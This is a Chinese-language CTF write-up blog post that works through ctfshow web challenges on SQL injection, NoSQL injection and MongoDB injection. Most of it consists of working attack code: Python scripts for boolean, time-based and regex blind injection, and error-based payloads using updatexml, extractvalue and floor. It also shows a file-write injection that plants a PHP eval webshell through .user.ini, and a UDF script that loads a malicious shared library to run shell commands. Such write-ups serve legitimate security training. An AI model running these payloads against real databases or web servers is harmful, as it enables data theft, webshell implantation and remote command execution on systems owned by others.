32
33
import requests
url='http://0f2a5b6f-77cb-45ff-b1a9-af71f316cfbd.challenge.ctf.show/api/'
flag=''
i=0
j = 0
while True:
head=1
tail=127
i+=1
while head<tail:
j+=1
mid=(head+tail)>>1
# payload=f"ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
#banlist,ctfshow_user,flag233333,查询表名
# payload=f"ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))>{mid},1,0)#"
#查询字段id,flagass233,info
payload=f"ctfshow' and if(ascii(substr((select group_concat(id,flagass233,info) from flag233333),{i},1))>{mid},1,0)#"
#答案
data={
"username":payload,
"password":j
}
r=requests.post(url,data=data)
if "\\u66f4\\u65b0\\u6210\\u529f" in r.text:#更新成功
head=mid+1
else:
tail=mid
if head!=1:
print(head)
flag+=chr(head)
print(flag)
else:
break

Web234(\转义)

image.png
这一题经过了一系列的fuzz,发现username中ban掉了单引号,因此这一题可以用一个很骚的方法,这方法在上面几题中应该也是通用的
我们payload:
password=2\&username=,username=2#
这样查询语句就变成了update ctfshow_user set pass = '\' where username =,username=2#'
反斜杠转义了单引号,导致password=' where username =
然后username跟着传参,username=2#',最终效果为:
image.png
接下来就和web231一样去爆库
image.png
image.png
接下来爆字段名,有个问题就是where table_name=''
这里会用到单引号,我们不要慌,用十六进制去绕过即可:
image.png
image.png
image.png
image.png

Web235(information库过滤+子查询)

image.png
题目说了过滤单引号和or,那information库就用不了了,mysql中不是只有information库有表格的信息,还有其他很多库,如mysql.innodb_table_stats
参考文章:
image.png

首先反斜杠还是可以让参数溢出的,password仍然是反斜杠,只需要改一些information库即可,所以payload:
password=2\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
image.png
表名已经知道了,剩下的就是字段了,这里可以用子查询去爆字段

image.png
格式大概如上,这个报错的意思是每个派生表都要有他的别名,也就是标准格式是:
image.png
image.png
image.png

讲完子查询,接下来就payload,表是flag23a1
password=\&username=,username=(select group_concat(c) from (select 1,2 as c,3 union select * from flag23a1) d)#
image.png
(select group_concat(c) from (select 1,2 as c,3 union select * from flag23a1) d)返回的数据有2行,所以要用group by

1
2
3
4
5
6
7
8
"""
Author:Y4tacker
"""
# username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\
# username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)-- - &password=\
或者一样的没区别只是如果没过率数字可以这样玩
# username=,username=(select `2` from(select 1,2,3 union select * from flag23a1 limit 1,1)a)-- - &password=\

Web236(同上)

image.png
嘴巴上说是说ban了flag,可以是还是可以像上一题一样做出来

Web237(insert注入开始)

语句如下
image.png
这边和update其实是一个意思,在添加数据的时候给脏字符
payload:
username=kino',database())#,password=1:
image.png
然后username=kino',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#,password=1
image.png
最后效果如上,一步步的去爆

payload2:这里也可以和上面用反斜杠\去转义来做

Web238(过滤空格)

image.png
ban掉了空格,那我们只需要把上面的payload修改一下,换成反引号或者括号即可
username=kino',(select(group_concat(table_name))from(information_schema.tables)wheretable_schema=database()))#
image.png
接下来就不赘述

payload2:这里也可以和上面用反斜杠\去转义来做

Web239(过滤空格,or)

注意这里他妈的过滤空格的意思是所有绕过空格的写法也没了,也就是还ban了*号
这边不能用information表了用mysql里的,和上面235一样

然后payload:
username=1'(select(flag)from(flagbb)))#
password=1
这个flag列名是猜的
payload2:
username=
password=,(select(flag)from(flagbb)))#

Web240(insert结束)

image.png image.png
查询语法没变,只是mysql库也被ban了,但是hint中提示我们表名是flagxxxxx,然后根据前面的规律可以知道列名是flag,这样我们直接抓包爆破即可:
image.png
选取flag后面的五位为爆破点:
image.png.image.png
之后页面给的msg全都是插入成功,但是只有正确的表名会显示数据,我们刷新页面就出来答案了:
image.png

Web241(delete开始)

image.png
抓包分析:
image.png
发现这样可以成功延时,那就说明这里存在时间盲注了,那废话不多说就直接开始写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time
url='http://c6e1e9e4-f2b5-4ca2-955e-ddfc840bea31.challenge.ctf.show/api/delete.php'
i=0
flag=''
while True:
head=1
tail=127
i+=1
while head<tail:
mid=(head+tail)>>1
payload={
# "id":f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.05),1)"
#banlist,ctfshow_user,flag
# "id":f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))>{mid},sleep(0.05),1)"
#id,flag,info
"id":f"if(ascii(substr((select group_concat(id,flag,info) from flag),{i},1))>{mid},sleep(0.05),1)"

}
t1=time.time()
r=requests.post(url,data=payload)
t2=time.time()
# print(t2-t1)#调试
if t2-t1>0.5:
head=mid+1
else:
tail=mid
if head!=1:
flag+=chr(head)
print(flag)
else:
break

Web242(file注入开始)

image.png
这是导出数据的语句,参考:
image.png
starting by每行开始
terminated by是每行结束
这边我在本地试了一下各参数是什么意思:
LINES TERMINATED BY
image.png
image.png
也就是结束后添加一个语句
FIELDS TERMINATED BY
image.png
也就是字段间的间隔符
OPTIONALLY ENCLOSED BY
这个要和LINES TERMINATED BY一起使用,否则报错
image.png
将字段用什么包裹起来,介绍完了就直接抓包payload:
image.png
image.png
这是txt文件,无法解析,改为php:
image.png
蚁剑上号

Web243(.user.ini和短标签)

image.png
过滤了php就不能上传php文件,我们有.user.ini和短标签
首先先上传一个2.txt文件,内容有一句话木马:
payload=2.txt' FIELDS TERMINATED BY'<?=eval($_POST[1]);?>'#
继续上传.user.ini文件。解析2.txt:
payload=.user.ini' lines starting by';' terminated by '%0aauto_prepend_file=2.txt'#
意思是每行的开头都是分号;
结尾都是'%0aauto_prepend_file=2.txt',最后效果如下:
image.png
分号是ini文件中的注释符,放在一行的开头
image.png
然后再加上换行符就可以达到注释多余字符的效果
最后访问url+/dump,由于该界面有个index.php,所以可以触发,最后蚁剑上号

Web244(updatexml)

image.png
单调的updatexml注入:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)-- -
image.png
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- -
image.png
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)-- -
image.png
爆字段的时候由于报错长度最长是32,所以要用substr或者substring或者not in去截取
image.png

Web245(extractvalue)

image.png
办了updatexml那咱就用extractvalue去报错
抓个包重发:
image.png
image.png
1'union select 1,2,extractvalue(1,concat(0x7e,database()))#成功爆出数据库,接下来就一个个爆
1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')))#
最后得到字段是flag1,这里要注意,flag的字符长度是41位,而extractvalue报错的长度最长是32位,这边需要用substr去分段截取:
1'union select 1,2,extractvalue(1,concat(0x7e,(substr((select flag1 from ctfshow_flagsa),1,32))))#
image.png
1'union select 1,2,extractvalue(1,concat(0x7e,(substr((select flag1 from ctfshow_flagsa),32,20))))#
image.png
得到答案

Web246(group by报错)

image.png
这边ban了updatexml和extractvalue,只能用基于floor的group by报错注入,具体原理参考:

在这里我只想强调,假如想要本地复现,mysql的版本只有5.6可以,其他的貌似都不可以!!!,题目用的是10.3.18-MariaDB数据库,不是mysql
这边直接payload:
?id=' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a-- -
这里不能用groupconcat,只能用limit,具体原因不太清楚,总而言之就是不行
补档:现在知道了为什么不能用了,因为他查询出来的并不是一行!
select 1,(select group_concat(name) from tb1) from tb1;
image.png
image.png
成功暴露出表名,这边顺便看一下version:
image.png
10.3.18-MariaDB数据库
image.png
接下来就一步步爆列名:
?id=' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a-- -
image.png
最后爆字段:
image.png

payload2:
1’ and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
这是子查询

Web247(过滤floor)

image.png
floor过滤了还有ceil,group by报错的原理我们悉知
payload:
?id=1' union select 1,count(*),concat(0x7e,database(),0x7e,ceil(rand(0)*2))a from information_schema.tables group by a-- -
image.png
成功注入,接下来就是一步步的去爆表,爆字段了
记得用limit,原因在上一题
字段名是flag?,带有问号,问号在mysql中有特殊含义,要用反引号包裹

Web248(UDF注入)

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
写入位置:/usr/lib/MySQL目录/plugin
具体步骤:
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
从udf文件中引入自定义函数(user defined function)
执行自定义函数
create function sys_eval returns string soname 'hack.so';
select sys_eval('whoami');

不过这道题是get传值,所以有长度限制,就得分段来传。
可以先生成多个文件,再通过concat拼接成完整的so文件。
恶意的so文件我们可以通过sqlmap中的文件得到,也可以通过光哥的博客https://www.sqlsec.com/tools/udf.html
一般选这个就可以了。
image.png
把0X后面的16进制值填到下面脚本的udf变量中就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url="http://2e9c2d13-5f3c-4a05-ab49-0d087d673b98.challenge.ctf.show/api/"
udf=""
udfs=[]
for i in range(0,len(udf),5000):
udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
requests.get(url1)

#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

image.png

Web249(nosql开始)

image.png
image.png
查询语句只有 $user = $memcache->get($id);
这是Memcache缓存数据库,他在php中的用法是:

1
2
3
4
5
$m=new Memcache();
$m->connect($host,$port);
$m->add($key,$value[,flags,$expire_time]);
$content=$m->get($key);
$m->close();

重点是memcache的get方法:
image.png
image.png
向get中传入参数或者数组,就可以返回指定的键值对
payload:
?id=flag这个会报错不知道为什么
?id[]=flag成功

Web250(mongodb)

万事开头首先强推好文章!

image.png
是MongoDB数据库注入,接下来讲解一下它的基本语法:

SQL术语/概念 MongoDB术语/概念 解释/说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域

数据库操作:

1
2
3
4
5
6
7
8
9
10
显示所有数据库
show dbs #show databases

创建数据库
use 库名 #如果数据库不存在,则创建数据库,否则切换到指定数据库。show dbs执行结果没有看到创建的数据库,因为数据库中刚开始没有任何数据并且是在内存中的,有了数据后就会显示出来。

删除数据库
db.dropDatabase() #删除当前数据库


集合(表)操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
显式创建集合
db.createCollection("userinfo");//创建一个名为usersinfo的集合

隐式创建集合
db.userinfo.insert({name:"yu22x"});//往collection2集合中添加数据来创建集合,如果集合不存在就自动创建集合。

查看集合
show collections;//(show tables)

删除集合userinfo
db.userinfo.drop();

注:mongo中支持js,可通过js操作实现批零处理,如:for(var i=0;i<1000;i++){db.userinfo.insert({name:"xiaomu"+i,age:20+i});}
固定集合

我们重点关注的是mongodb中的条件语句
image.png

1
2
3
4
5
6
AND 查询
db.userinfo.find({key1:value1, key2:value2})

OR 查询
db.userinfo.find({$or: [{key1: value1}, {key2:value2}]})

在mangodb中查询语句:

1
db.userinfo.find({name:'yu22x'});

类似于:
where username=’yu22x’
其中userinfo是表名(集合名)
而在mongodb中的条件语句有个比较有意思的
db.userinfo.find({"likes":{$ne:20}})
类似于where likes != 20
所以当我们传入
username[$ne]=1&password[$ne]=1
就等价于
where username!=1&password!=1,也就是nosql中的永真式。
这边理解参考一下image.png
image.png

Web251(同上)

用上一题的payload发现结果是:
image.png
那么就说明flag不在admin用户中,让username不等于admin即可:
image.png

Web252(MongoDB正则)

语法同上两题一样,MongoDB也是支持正则判断的语法是:**{:{$regex:}}**和上面介绍一样
这边先用username[$ne]=1&password[$ne]=1输入之后发现:
image.png
和上一题一样,那我们就再让username不等于admin:
image.png
又蹦出来了一个admin1,那我们就匹配正则:
username[$regex]=^[^a]&password[$ne]=1
在[]中^表示取反,然后外面的^表示以什么开头,或者
username[$ne]=1&password[$regex]=^ctfshow{也可以
image.png

Web253(nosql盲注)

image.png
查询语句看起来变了实际没变,之前的查询语句实际上也是这样,在上面的文章有讲
.pretty()什么用都没有:image.png
这边测试输入username[$ne]=1&password[$regex]=ctfshow{
image.png
提示登入成功,但是没有任何数据,我猜测是把所有数据隐藏了
输入username[$ne]=1&password[$regex]=ctfshow{a
image.png
提示登入失败,说明是可以进行一个regex盲注的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
string="abcdefghigklmnopqrstuwxyz1230456789{}_-"
flag='{'
url="http://f7cf49c4-7bd0-4346-ad4d-1a487ec1088d.challenge.ctf.show/api/"
while True:
for j in string:
data={
"username[$ne]":1,
"password[$regex]":f"ctfshow{flag+j}"
}
r=requests.post(url,data=data)
if "\\u767b\\u9646\\u6210\\u529f" in r.text:
sign=j
flag+=j
print(flag)
else:
pass
if sign=='}':
break

结束啦!!!!!!!!!!!!

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#刷题记录#CTFSHOW